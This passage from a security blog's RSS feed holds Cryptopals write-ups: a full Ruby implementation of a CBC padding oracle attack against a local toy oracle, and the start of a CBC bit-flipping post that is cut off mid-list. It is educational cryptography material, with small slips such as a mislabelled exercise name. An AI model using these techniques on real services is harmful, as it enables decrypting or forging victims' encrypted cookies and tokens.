&lt;p&gt;Semgrep is powerful and simple enough to make it a good choice when automating CI rules. There are situations where I still fallback to Brakeman though and that usually happens when I’m required to write custom code to enforce a check since I can rely on the full power of &lt;code class=&quot;language-text&quot;&gt;Ruby&lt;/code&gt;. For example, writing a custom check that detects spelling mistakes in arguments within a method call like &lt;code class=&quot;language-text&quot;&gt;Rails.cache.fetch&lt;/code&gt;, such as detecting an incorrect use of &lt;code class=&quot;language-text&quot;&gt;expire_in&lt;/code&gt; or &lt;code class=&quot;language-text&quot;&gt;expirs_in&lt;/code&gt; instead of the expected &lt;code class=&quot;language-text&quot;&gt;expires_in&lt;/code&gt; is currently much easier using Brakeman.&lt;/p&gt;
&lt;p&gt;In this post we have just scratched the surface of Semgrep, refer to the &lt;a href=&quot;https://semgrep.dev/docs/writing-rules/rule-syntax/&quot;&gt;rule syntax guide&lt;/a&gt; for the full schema. Operators like &lt;code class=&quot;language-text&quot;&gt;pattern-inside&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;metavariables&lt;/code&gt; make the schema extremely flexible.&lt;/p&gt;
&lt;p&gt;Let me know if you have any tips or questions by reaching out to me on Twitter or by email and I will be happy to chat about it!&lt;/p&gt;
&lt;h2&gt;Update 2021-08-05&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://twitter.com/clintgibler&quot;&gt;@clintgibler&lt;/a&gt; was kind enough to provide an example on how they would approach the problem mentioned in the conclusion of this post using Semgrep. I will share the example here, but there are more details in the &lt;a href=&quot;https://twitter.com/clintgibler/status/1423046781600813057&quot;&gt;thread&lt;/a&gt; that you can follow.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;When we know each argument the method expects:&lt;/strong&gt;&lt;/p&gt;
&lt;iframe title=&quot;Rails Cache Invalid Args&quot; src=&quot;https://semgrep.dev/embed/editor?snippet=clintgibler:rails-cache-invalid-args&quot; width=&quot;100%&quot; height=&quot;430px&quot; frameborder=&quot;0&quot;&gt;&lt;/iframe&gt;
&lt;br/&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;When we do not know every method argument:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;We could approach this problem doing a string edit distance comparison or something similar with Python using the &lt;a href=&quot;https://semgrep.dev/docs/writing-rules/rule-syntax/#pattern-where-python&quot;&gt;#patern-where-python&lt;/a&gt; operator.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[CBC Padding Oracle]]></title><description><![CDATA[Exploiting CBC Padding Oracle]]></description><link>https://bernardoamc.com/cbc-padding-oracle/</link><guid isPermaLink="false">https://bernardoamc.com/cbc-padding-oracle/</guid><pubDate>Sun, 25 Jul 2021 12:43:00 GMT</pubDate><content:encoded>&lt;p&gt;In this post we will investigate the byte-at-a-time ECB decryption exercise from &lt;a href=&quot;https://cryptopals.com/sets/3/challenges/17&quot;&gt;Cryptopals&lt;/a&gt;. It’s helpful to read the problem statement before reading this blog post and I highly recommend attempting the previous exercises yourself as they do a great job ramping up your knowledge on the subject.We also have a &lt;a href=&quot;/cbc-bitflipping-attack&quot;&gt;previous post&lt;/a&gt; explaining how &lt;code class=&quot;language-text&quot;&gt;CBC&lt;/code&gt; works.&lt;/p&gt;
&lt;p&gt;This attack relies on a &lt;code class=&quot;language-text&quot;&gt;padding oracle&lt;/code&gt;, which is something that is able to tell us whether the ciphertext we provide for decryption has a valid &lt;code class=&quot;language-text&quot;&gt;padding&lt;/code&gt; or not after decryption. In our exercise this will be in the form of a method that returns &lt;code class=&quot;language-text&quot;&gt;true&lt;/code&gt; or &lt;code class=&quot;language-text&quot;&gt;false&lt;/code&gt; based on a valid padding or not. Let’s see this in &lt;code class=&quot;language-text&quot;&gt;Ruby&lt;/code&gt;:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;rb&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;def padding_oracle(ciphertext, key, iv)
  plaintext = aes_cbc_decrypt(ciphertext, key, iv)
  valid_padding?(plaintext)
end

# Based on https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS#5_and_PKCS#7
def valid_padding?(plaintext)
  padding_size = plaintext.last
  return false unless padding_size &amp;gt; 0 &amp;amp;&amp;amp; padding_size &amp;lt; 256

  padding = plaintext.slice(
    -padding_size,
    padding_size
  )

  padding.all? { |b| b == padding_size }
end&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;To make things more relatable we can think of this &lt;code class=&quot;language-text&quot;&gt;padding_oracle&lt;/code&gt; as our &lt;code class=&quot;language-text&quot;&gt;server&lt;/code&gt; validating whether a cookie passed to it is valid or not.&lt;/p&gt;
&lt;h2&gt;Recap on CBC decryption&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;/0040327c3dde91c400bdb385c38099e8/cbc_decryption.svg&quot; alt=&quot;CBC Decryption by WhiteTimberwolf&quot;&gt;&lt;/p&gt;
&lt;p&gt;In order to obtain the &lt;code class=&quot;language-text&quot;&gt;plaintext block&lt;/code&gt; from a &lt;code class=&quot;language-text&quot;&gt;ciphertext block&lt;/code&gt; the algorithm first decrypts the &lt;code class=&quot;language-text&quot;&gt;ciphertext block&lt;/code&gt; using &lt;code class=&quot;language-text&quot;&gt;ECB&lt;/code&gt; with the encryption &lt;code class=&quot;language-text&quot;&gt;key&lt;/code&gt; (labeled “block cipher decryption” in our image), followed by a XOR with the previous ciphertext block. For the first block we use the &lt;code class=&quot;language-text&quot;&gt;inialization vector&lt;/code&gt; since we don’t have a previous ciphertext block.&lt;/p&gt;
&lt;p&gt;See our &lt;a href=&quot;/cbc-bitflipping-attack&quot;&gt;previous post&lt;/a&gt; for a more in-depth explanation of how &lt;code class=&quot;language-text&quot;&gt;CBC&lt;/code&gt; works.&lt;/p&gt;
&lt;p&gt;We have access to the &lt;code class=&quot;language-text&quot;&gt;previous ciphertext block&lt;/code&gt; or the &lt;code class=&quot;language-text&quot;&gt;initialization vector&lt;/code&gt;, but we &lt;strong&gt;do not have access to the ECB decryption&lt;/strong&gt;. Luckily for us this attack allows us to derive the value of the &lt;code class=&quot;language-text&quot;&gt;AES decryption&lt;/code&gt; (labeled “block cipher decryption” in our image), which makes us able to compute the &lt;code class=&quot;language-text&quot;&gt;plaintext&lt;/code&gt; out of an &lt;code class=&quot;language-text&quot;&gt;encrypted block&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;It’s worth reiterating, what this attack allows us to do is:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Derive the value of the &lt;code class=&quot;language-text&quot;&gt;AES decryption&lt;/code&gt; (labeled “block cipher decryption” in our image).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Exploitation&lt;/h2&gt;
&lt;p&gt;Even though we don’t control the &lt;code class=&quot;language-text&quot;&gt;AES decryption&lt;/code&gt; value, we control the value that will be XORed against it. Let’s define this operation:&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;AES_DEC(ciphertext_block) XOR user_controlled_value&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Normally this “user controlled value” would be the previous ciphertext block or the initialization vector (IV), but nothing prevents us from sending whatever we want, right? :) The insight is that:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;By making modifications to the previous ciphertext block (or IV for the first block), we can predictably modify the plaintext block.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;What we want to achieve with this “user controlled value” is to generate on every iteration a plaintext that has a &lt;strong&gt;valid padding&lt;/strong&gt;. Recall that we are using &lt;code class=&quot;language-text&quot;&gt;PKCS7&lt;/code&gt; for this exercise, so a valid padding consists of the &lt;code class=&quot;language-text&quot;&gt;last n bytes&lt;/code&gt; of our plaintext all having the same value &lt;code class=&quot;language-text&quot;&gt;n&lt;/code&gt;. So the following endings for our plaintext are all considered valid:&lt;/p&gt;
&lt;deckgo-highlight-code   highlight-lines=&quot;undefined&quot;&gt;
          &lt;code slot=&quot;code&quot;&gt;01
02 02
03 03 03
...
16 16 16 .. 16 16&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;What we need to do is:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Create what we will call a &lt;code class=&quot;language-text&quot;&gt;Zeroing IV&lt;/code&gt;, which for now is an array containing zeros with the size of a &lt;code class=&quot;language-text&quot;&gt;block&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;By the end of the algorithm the &lt;code class=&quot;language-text&quot;&gt;Zeroing IV&lt;/code&gt; will be an array that once XORed with &lt;code class=&quot;language-text&quot;&gt;AES_DEC(ciphertext_block)&lt;/code&gt; &lt;strong&gt;returns zero&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Compute an IV that once XORed provides us with a plaintext that has a valid padding of &lt;code class=&quot;language-text&quot;&gt;1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Get the last byte from that IV and XOR it with &lt;code class=&quot;language-text&quot;&gt;1&lt;/code&gt;, storing the result in the last byte of our &lt;code class=&quot;language-text&quot;&gt;Zeroing IV&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Once this is done we will:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Derive a new IV that sets thet final byte to &lt;code class=&quot;language-text&quot;&gt;2&lt;/code&gt; and try to compute the penultimate byte to &lt;code class=&quot;language-text&quot;&gt;2&lt;/code&gt; as well.&lt;/li&gt;
&lt;li&gt;Get the penultimate byte from that IV and XOR it with &lt;code class=&quot;language-text&quot;&gt;2&lt;/code&gt; to generate the penultimate byte of the &lt;code class=&quot;language-text&quot;&gt;Zeroing IV&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Keep doing this until we can find all &lt;code class=&quot;language-text&quot;&gt;16&lt;/code&gt; bytes of a block.&lt;/p&gt;
&lt;p&gt;If you are used to the &lt;code class=&quot;language-text&quot;&gt;XOR&lt;/code&gt; operation you will realize right away that the only way for &lt;code class=&quot;language-text&quot;&gt;AES_DEC(ciphertext_block) XOR Zeroing IV&lt;/code&gt; to output zero is if they are &lt;strong&gt;equal&lt;/strong&gt;! This means that we have just computed the value of &lt;code class=&quot;language-text&quot;&gt;AES_DEC(ciphertext_block)&lt;/code&gt;, which was the only thing we didn’t know.&lt;/p&gt;
&lt;p&gt;To output our plaintext message all we need to do now is perform the operation: &lt;code class=&quot;language-text&quot;&gt;Zeroing IV XOR Our original IV&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Visual example&lt;/h2&gt;
&lt;p&gt;Let’s see an example with the first two iterations of our attack to make things a bit more concrete.&lt;/p&gt;
&lt;p&gt;Assume &lt;code class=&quot;language-text&quot;&gt;AES_DEC(ciphertext_block)&lt;/code&gt; has a value of: &lt;br /&gt;
&lt;code class=&quot;language-text&quot;&gt;[99, 111, 110, 103, 114, 97, 116, 117, 108, 97, 116, 105, 111, 110, 115, 33]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Our initial &lt;code class=&quot;language-text&quot;&gt;Zeroing IV&lt;/code&gt; is of course composed of all zeros: &lt;br/&gt;
&lt;code class=&quot;language-text&quot;&gt;[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Iteration 1&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;We want to make the operation &lt;code class=&quot;language-text&quot;&gt;AES_DEC(ciphertext_block) XOR Zeroing IV&lt;/code&gt; return an array with the final byte set to &lt;code class=&quot;language-text&quot;&gt;1&lt;/code&gt; in order for our &lt;code class=&quot;language-text&quot;&gt;padding_oracle&lt;/code&gt; method to return true. To achieve that we first need to find a value that makes &lt;code class=&quot;language-text&quot;&gt;33 XOR &amp;lt;something&gt; = 1&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;33 XOR 0 = 33&lt;/code&gt; is a valid padding? NO&lt;br /&gt;
&lt;code class=&quot;language-text&quot;&gt;33 XOR 1 = 32&lt;/code&gt; is a valid padding? NO&lt;br /&gt;
&lt;code class=&quot;language-text&quot;&gt;33 XOR 2 = 35&lt;/code&gt; is a valid padding? NO&lt;br /&gt;
.. &lt;br /&gt;
&lt;code class=&quot;language-text&quot;&gt;33 XOR 32 = 1&lt;/code&gt; is a valid padding? YES&lt;/p&gt;
&lt;p&gt;So right now our &lt;code class=&quot;language-text&quot;&gt;Zeroing IV&lt;/code&gt; is: &lt;br /&gt;
&lt;code class=&quot;language-text&quot;&gt;[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This means that &lt;code class=&quot;language-text&quot;&gt;AES_DEC(ciphertext_block) XOR Zeroing IV&lt;/code&gt; will output something like: &lt;br/&gt;
&lt;code class=&quot;language-text&quot;&gt;[99, 111, 110, 103, 114, 97, 116, 117, 108, 97, 116, 105, 111, 110, 115, 1]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This is indeed a block with a valid padding!&lt;/p&gt;
&lt;p&gt;Time to XOR this last value with &lt;code class=&quot;language-text&quot;&gt;1&lt;/code&gt; so we can get our true zero value. &lt;br /&gt;
&lt;code class=&quot;language-text&quot;&gt;32 XOR 1 = 33&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;So right now our &lt;code class=&quot;language-text&quot;&gt;Zeroing IV&lt;/code&gt; is: &lt;br /&gt;
&lt;code class=&quot;language-text&quot;&gt;[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 33]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Notice how 33 is the same value of our imaginary &lt;code class=&quot;language-text&quot;&gt;AES_DEC(ciphertext_block)&lt;/code&gt; last byte!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Iteration 2&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Now we need to make the operation &lt;code class=&quot;language-text&quot;&gt;AES_DEC(ciphertext_block) XOR Zeroing IV&lt;/code&gt; return an array with the final and penultimate bytes set to &lt;code class=&quot;language-text&quot;&gt;2&lt;/code&gt; in order for our &lt;code class=&quot;language-text&quot;&gt;padding_oracle&lt;/code&gt; method to return true. In order to do that we need to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Make &lt;code class=&quot;language-text&quot;&gt;33 XOR &amp;lt;something&gt; = 2&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Make &lt;code class=&quot;language-text&quot;&gt;115 XOR &amp;lt;something&gt; = 2&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Since we already know due to our first iteration that &lt;code class=&quot;language-text&quot;&gt;AES_DEC(ciphertext_block)&lt;/code&gt; last byte is &lt;code class=&quot;language-text&quot;&gt;33&lt;/code&gt; we can just compute &lt;code class=&quot;language-text&quot;&gt;33 ^ 2&lt;/code&gt; which is equal &lt;code class=&quot;language-text&quot;&gt;35&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Now we need to make &lt;code class=&quot;language-text&quot;&gt;115 XOR something = 2&lt;/code&gt;, so let’s find the appropriate byte:&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;115 XOR 0 = 115&lt;/code&gt; is a valid padding? NO&lt;br /&gt;
&lt;code class=&quot;language-text&quot;&gt;115 XOR 1 = 114&lt;/code&gt; is a valid padding? NO&lt;br /&gt;
&lt;code class=&quot;language-text&quot;&gt;115 XOR 2 = 113&lt;/code&gt; is a valid padding? NO&lt;br /&gt;
.. &lt;br /&gt;
&lt;code class=&quot;language-text&quot;&gt;115 XOR 113 = 2&lt;/code&gt; is a valid padding? YES&lt;/p&gt;
&lt;p&gt;So right now our &lt;code class=&quot;language-text&quot;&gt;NEW Zeroing IV&lt;/code&gt; is: &lt;br /&gt;
&lt;code class=&quot;language-text&quot;&gt;[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 113, 35]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This means that &lt;code class=&quot;language-text&quot;&gt;AES_DEC(ciphertext_block) XOR NEW Zeroing IV&lt;/code&gt; will output something like: &lt;br/&gt;
&lt;code class=&quot;language-text&quot;&gt;[99, 111, 110, 103, 114, 97, 116, 117, 108, 97, 116, 105, 111, 110, 2, 2]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Which is again a block with a valid padding!&lt;/p&gt;
&lt;p&gt;Time to XOR this penultimate value with &lt;code class=&quot;language-text&quot;&gt;2&lt;/code&gt; so we can get our true zero value. &lt;br /&gt;
&lt;code class=&quot;language-text&quot;&gt;113 XOR 2 = 115&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;So right now our “final” &lt;code class=&quot;language-text&quot;&gt;Zeroing IV&lt;/code&gt; is: &lt;br /&gt;
&lt;code class=&quot;language-text&quot;&gt;[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 115, 33]&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Notice how 115 is the same value of our imaginary &lt;code class=&quot;language-text&quot;&gt;AES_DEC(ciphertext_block)&lt;/code&gt; penultimate byte!&lt;/p&gt;
&lt;p&gt;The next iteration will make the last three bytes equal to &lt;code class=&quot;language-text&quot;&gt;3&lt;/code&gt; and we are going to find yet another byte, and so on and so forth until we decrypt an entire block, so eventually our &lt;code class=&quot;language-text&quot;&gt;Zeroing IV&lt;/code&gt; will become the same as our &lt;code class=&quot;language-text&quot;&gt;AES_DEC(ciphertext_block)&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;[99, 111, 110, 103, 114, 97, 116, 117, 108, 97, 116, 105, 111, 110, 115, 33]&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Implementation&lt;/h2&gt;
&lt;p&gt;This is one of those algorithms that are harder to explain than to implement, so let’s attempt to do it.&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;rb&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;require &amp;#39;openssl&amp;#39;

KEY = 16.times.map { rand(0..255) }
IV = 16.times.map { rand(0..255) }
BLOCK_SIZE = 16
BYTE_RANGE =0..256

# Don&amp;#39;t look! ;)
PLAINTEXT = [99, 111, 110, 103, 114, 97, 116, 117, 108, 97, 116, 105, 111, 110, 115, 33, 32, 119, 101, 32, 100, 105, 100, 32, 105, 116, 33]

# See our previous post on CBC Bitflipping Attacks to understand CBC better
def aes_cbc_encrypt(plaintext)
  cipher = OpenSSL::Cipher::AES.new(128, :CBC)
  cipher.encrypt
  cipher.key = KEY.pack(&amp;#39;C*&amp;#39;)
  cipher.iv = IV.pack(&amp;#39;C*&amp;#39;)
  cipher.padding = 0
  cipher.update(plaintext.pack(&amp;#39;C*&amp;#39;)) + cipher.final
end

def aes_cbc_decrypt(ciphertext, iv)
  cipher = OpenSSL::Cipher::AES.new(128, :CBC)
  cipher.decrypt
  cipher.key = KEY.pack(&amp;#39;C*&amp;#39;)
  cipher.iv = iv.pack(&amp;#39;C*&amp;#39;)
  cipher.padding = 0
  cipher.update(ciphertext.pack(&amp;#39;C*&amp;#39;)) + cipher.final
end

# See https://tools.ietf.org/html/rfc2315#section-10.3
def pkcs7_pad(bytes, block_size)
  raise &amp;#39;Invalid block size&amp;#39; if block_size &amp;gt;= 256
  padding_len = block_size - (bytes.size % block_size)
  padding = Array.new(padding_len, padding_len)
  bytes + padding
end

#############################################################
# Our boilerplate is done, time to implement our algorithm! #
#############################################################

def encrypt_credentials
  padded_buffer = pkcs7_pad(PLAINTEXT, BLOCK_SIZE)
  ciphertext = aes_cbc_encrypt(padded_buffer).unpack(&amp;#39;C*&amp;#39;)

  [IV, ciphertext]
end

def padding_oracle(ciphertext, iv)
  plaintext = aes_cbc_decrypt(ciphertext, iv).unpack(&amp;#39;C*&amp;#39;)
  valid_padding?(plaintext)
end

# Based on https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS#5_and_PKCS#7
def valid_padding?(plaintext)
  padding_size = plaintext.last
  return false unless padding_size &amp;gt; 0 &amp;amp;&amp;amp; padding_size &amp;lt;= BLOCK_SIZE

  padding = plaintext.slice(
    -padding_size,
    padding_size
  )

  padding.all? { |b| b == padding_size }
end

def decrypt_byte(block, zero_iv, known)
  iv = Array.new(BLOCK_SIZE, 0)
  padding_size = known + 1
  next_byte_pos = BLOCK_SIZE - known - 1

  (1..known).each do |index|
    iv[-index] = zero_iv[-index] ^ padding_size
  end

  BYTE_RANGE.each do |candidate|
    iv[next_byte_pos] = candidate
    return candidate if padding_oracle(block, iv)
  end

  raise &amp;#39;Candidate not found&amp;#39;
end

def decrypt_block(block, previous_block)
  zero_iv = Array.new(BLOCK_SIZE, 0)

  BLOCK_SIZE.times.each do |known|
    byte = decrypt_byte(block, zero_iv, known)
    zero_iv[BLOCK_SIZE - known - 1] = byte ^ (known + 1)
  end

  zero_iv.zip(previous_block).map { |a, b| a ^ b }
end

def decrypt(ciphertext, iv)
  blocks_amount = ciphertext.size / BLOCK_SIZE
  previous_block = iv

  (0...blocks_amount).flat_map do |block_index|
    block = ciphertext.slice(
      block_index * BLOCK_SIZE,
      BLOCK_SIZE
    )

    decrypted_block = decrypt_block(block, previous_block)
    previous_block = block

    decrypted_block
  end
end

iv, ciphertext = encrypt_credentials
puts decrypt(ciphertext, iv).pack(&amp;#39;C*&amp;#39;)&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;If we run the program above we will receive our plaintext as the output, how cool is that?! This is probably one of the problems that I have the most fun with since it uses most of the knowledge we have built upon previous exercises.&lt;/p&gt;
&lt;p&gt;If you made it this far, congratulations! We are almost done with &lt;code class=&quot;language-text&quot;&gt;CBC&lt;/code&gt; attacks (I promise!), and we will start investigating &lt;code class=&quot;language-text&quot;&gt;CTR mode&lt;/code&gt;. As always, if anything is confusing or could be improved please reach out to me on Twitter or by email and I will be happy to chat about it!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[CBC bit-flipping attack]]></title><description><![CDATA[Let's understand and implement the CBC bit-flipping attack.]]></description><link>https://bernardoamc.com/cbc-bitflipping-attack/</link><guid isPermaLink="false">https://bernardoamc.com/cbc-bitflipping-attack/</guid><pubDate>Sun, 18 Jul 2021 09:35:00 GMT</pubDate><content:encoded>&lt;p&gt;This post is based on the &lt;code class=&quot;language-text&quot;&gt;CBC bit-flipping attack&lt;/code&gt; exercise from &lt;a href=&quot;https://cryptopals.com/sets/2/challenges/16&quot;&gt;Cryptopals&lt;/a&gt;. I highly recommend attempting the previous exercises yourself as they do a great job ramping up your knowledge on the subject.&lt;/p&gt;
&lt;p&gt;Before we can start tackling this problem it’s worth revisiting how &lt;code class=&quot;language-text&quot;&gt;cipher block chaining&lt;/code&gt; (CBC) works as we will need to know the algorithm in order to perform the bit-flipping attack.&lt;/p&gt;
&lt;h2&gt;CBC Encryption&lt;/h2&gt;
&lt;p&gt;In a nutshell &lt;code class=&quot;language-text&quot;&gt;CBC&lt;/code&gt; encryption works in the following order:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Split the plaintext into blocks of 16 bytes (this number can change, but the next steps are the same)&lt;/li&gt;
&lt;li&gt;For each plaintext block:
&lt;ul&gt;
&lt;li&gt;XOR the block with its &lt;em&gt;previous ciphertext block&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Encrypt the result with &lt;code class=&quot;language-text&quot;&gt;AES&lt;/code&gt; to produce the ciphertext. This ciphertext will be XORed with the next plaintext block.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Since we always use the previous ciphertext to generate a block, how do we generate the first block?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;For the first block we use something called an &lt;code class=&quot;language-text&quot;&gt;Initialization Vector&lt;/code&gt; (IV), which is nothing more than a random array of bytes that has the same length as our block.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Details&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;For &lt;code class=&quot;language-text&quot;&gt;CBC&lt;/code&gt; to work the plaintext must be a multiple of the &lt;code class=&quot;language-text&quot;&gt;block size&lt;/code&gt;, so we usually use a padding algorithm like &lt;code class=&quot;language-text&quot;&gt;PKCS7&lt;/code&gt; to pad our plaintext.&lt;/p&gt;
&lt;p&gt;Let’s see the visual representation of the algorithm:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/717d063054f305d4de2baeb76e004de9/cbc_encryption.svg&quot; alt=&quot;CBC Encryption by WhiteTimberwolf&quot;&gt;&lt;/p&gt;
&lt;h2&gt;CBC Decryption&lt;/h2&gt;
&lt;p&gt;The decryption process consists of us doing the inverse of what we did for the encryption process, so:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Split the full ciphertext into blocks of 16 bytes&lt;/li&gt;
&lt;li&gt;For each ciphertext block:
&lt;ul&gt;
&lt;li&gt;Decrypt the block with &lt;code class=&quot;language-text&quot;&gt;AES&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;XOR the decrypted block with the &lt;em&gt;previous ciphertext block&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In order to decrypt our first block we need to rely yet again on our &lt;code class=&quot;language-text&quot;&gt;initialization vector&lt;/code&gt; (IV).&lt;/p&gt;
&lt;p&gt;Let’s see the visual representation of the algorithm:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/0040327c3dde91c400bdb385c38099e8/cbc_decryption.svg&quot; alt=&quot;CBC Decryption by WhiteTimberwolf&quot;&gt;&lt;/p&gt;
&lt;h2&gt;CBC Ruby Implementation&lt;/h2&gt;
&lt;deckgo-highlight-code language=&quot;rb&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;def xor_bytes(bytes1, bytes2)
  if bytes1.size != bytes2.size
    raise &amp;#39;Array of bytes should have same length&amp;#39;
  end

  bytes1.zip(bytes2).map { |a, b| a ^ b }
end

def aes_cbc_encrypt(plaintext, key, iv)
  blocks = plaintext.each_slice(key.size)
  previous_ciphertext_block = iv

  blocks.flat_map do |block|
    previous_ciphertext_block = aes_ecb_encrypt(
      xor_bytes(previous_ciphertext_block, block),
      key
    )

    previous_ciphertext_block
  end
end

  def aes_cbc_decrypt(ciphertext, key, iv)
  blocks = ciphertext.each_slice(key.size)
  previous_ciphertext = iv

  blocks.flat_map do |block|
    decrypted = xor_bytes(
      aes_ecb_decrypt(block, key),
      previous_ciphertext
    )

    previous_ciphertext = block
    decrypted
  end
end&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;&lt;em&gt;See &lt;a href=&quot;/ecb-decryption-simple&quot;&gt;ECB decryption post&lt;/a&gt; for the implementation of the &lt;code class=&quot;language-text&quot;&gt;aes_ecb_encrypt&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;aes_ecb_decrypt_methods&lt;/code&gt; methods.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Bitflipping Attack&lt;/h2&gt;
&lt;p&gt;Now that we understand how &lt;code class=&quot;language-text&quot;&gt;CBC&lt;/code&gt; works we can talk about this particular attack which relies on the fact that in &lt;code class=&quot;language-text&quot;&gt;CBC mode&lt;/code&gt;, a 1-bit error in a ciphertext block:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Completely scrambles the block the error occurs in&lt;/li&gt;
&lt;li&gt;Produces the identical 1-bit error in the next ciphertext block.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The first point is the easier one to reason about. Since we have encrypted our block with &lt;code class=&quot;language-text&quot;&gt;ECB&lt;/code&gt;, messing up with the ciphertext bits will in fact change the contents of our plaintext once it is decrypted by &lt;code class=&quot;language-text&quot;&gt;ECB&lt;/code&gt; in a random manner.&lt;/p&gt;
&lt;p&gt;The second point requires more attention though and for it to make sense I feel it is helpful to reach out for an example.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Our goal with the following exercise is to transform our input&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;From: &lt;code class=&quot;language-text&quot;&gt;name=cbc attack;admin&amp;lt;true:id=11&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;To: &lt;code class=&quot;language-text&quot;&gt;name=cbc attack;admin=true;id=11&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;A few important things to note:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Our plaintext is already block aligned since the block size for this exercise is &lt;code class=&quot;language-text&quot;&gt;16 bytes&lt;/code&gt; and our plaintext has &lt;code class=&quot;language-text&quot;&gt;32 bytes&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;First block: &lt;code class=&quot;language-text&quot;&gt;name=cbc attack;&lt;/code&gt; &lt;br/&gt;
Second block: &lt;code class=&quot;language-text&quot;&gt;admin&amp;lt;true:id=11&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Transforming &lt;code class=&quot;language-text&quot;&gt;admin&amp;lt;true:id=11&lt;/code&gt; into &lt;code class=&quot;language-text&quot;&gt;admin=true;id=11&lt;/code&gt; will require us to transform:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;&amp;lt;&lt;/code&gt; (ASCII 60) into &lt;code class=&quot;language-text&quot;&gt;=&lt;/code&gt; (ASCII 61)&lt;/li&gt;
